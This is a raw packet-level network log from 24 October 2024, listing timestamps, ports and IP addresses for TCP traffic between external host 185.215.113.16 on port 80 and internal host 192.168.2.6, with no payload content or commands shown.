Oct 24, 2024 04:58:14.460403919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460433006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460484982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460491896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460520029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460536957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460556030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460567951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460592031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460611105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460623980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460643053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460661888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460675001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460732937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460766077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460786104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460799932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460828066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460836887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460850000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460875034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460907936 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460941076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.460952997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460953951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.460979939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.461035967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.461086035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.461091042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.461143970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.461178064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.461195946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.461211920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.461226940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.461261988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.466927052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.466960907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.466990948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.466995955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.467012882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.467031002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.467050076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.467067957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.467081070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.467118025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.475120068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.475155115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.475188971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.475200891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.476156950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476213932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476222038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.476247072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476279974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476291895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.476314068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476346016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476361990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.476443052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476484060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.476495028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476527929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.476576090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490329027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490385056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490417957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490469933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490503073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490556002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490562916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490562916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490562916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490562916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490564108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490587950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490622997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490650892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490650892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490657091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490691900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490712881 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490742922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490765095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490798950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490834951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490850925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490883112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490885019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490920067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490936041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.490957022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.490967989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491008043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491039991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491110086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491142988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491162062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491177082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491220951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491220951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491272926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491306067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491336107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491357088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491358995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491406918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491450071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491482973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491501093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491517067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491543055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491550922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491570950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491590023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491640091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491640091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491693974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491744995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491813898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491846085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491878986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491900921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491913080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491926908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491952896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.491964102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.491987944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.492007971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.492032051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.492032051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.492063046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.492084026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.492109060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.492218018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.492247105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.492290974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.492290974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.522491932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.522525072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.522602081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529678106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529709101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529759884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529793978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529799938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529793978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529861927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529872894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529900074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529918909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529933929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.529959917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529985905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.529989004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530062914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530062914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530100107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530122995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530153990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530185938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530210018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530220032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530235052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530273914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530273914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530309916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530328035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530358076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530359983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530400991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530415058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530431032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530452013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530464888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530477047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530500889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530518055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530534983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530570030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530590057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530594110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530627012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530678034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530678034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530714035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530733109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530749083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530770063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530782938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530792952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530833960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530853033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530905962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530905962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530941963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.530961990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.530975103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531028032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531136990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531171083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531203985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531229019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531239986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531272888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531287909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531287909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531322956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531351089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531384945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531395912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531419992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531452894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531472921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531490088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531510115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531517982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531547070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531569004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531687975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531721115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531760931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531775951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531812906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531815052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531848907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.531866074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.531903982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.553148985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553184986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553219080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553234100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.553268909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553302050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553319931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.553335905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.553482056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.573127985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.573163033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.573196888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.573245049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.573302984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.574393034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.574428082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.574462891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.574485064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.574518919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577600002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577655077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577692986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577718973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577739954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577744961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577780962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577800035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577812910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577826023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577863932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577866077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577900887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577919006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577933073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.577944040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.577986002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578006029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578038931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578059912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578073025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578083992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578109980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578129053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578145027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578161001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578180075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578191996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578213930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578227043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578263044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578314066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578342915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578366995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578377962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578386068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578428030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578430891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578464985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.578481913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.578514099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.584136963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584191084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584225893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584259033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584261894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.584295034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584321022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.584321022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.584341049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.584351063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.584388971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.594547033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.594603062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.594681978 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.595499992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.595536947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.595570087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.595596075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.607737064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.607850075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.607904911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.607939005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.607961893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.607969999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.607991934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608017921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608037949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608047009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608082056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608099937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608110905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608127117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608149052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608163118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608196020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608201027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608234882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608256102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608268023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608280897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608303070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608320951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608350992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608361959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608413935 CEST	80	49996	185.215.113.16	192.168.2.6
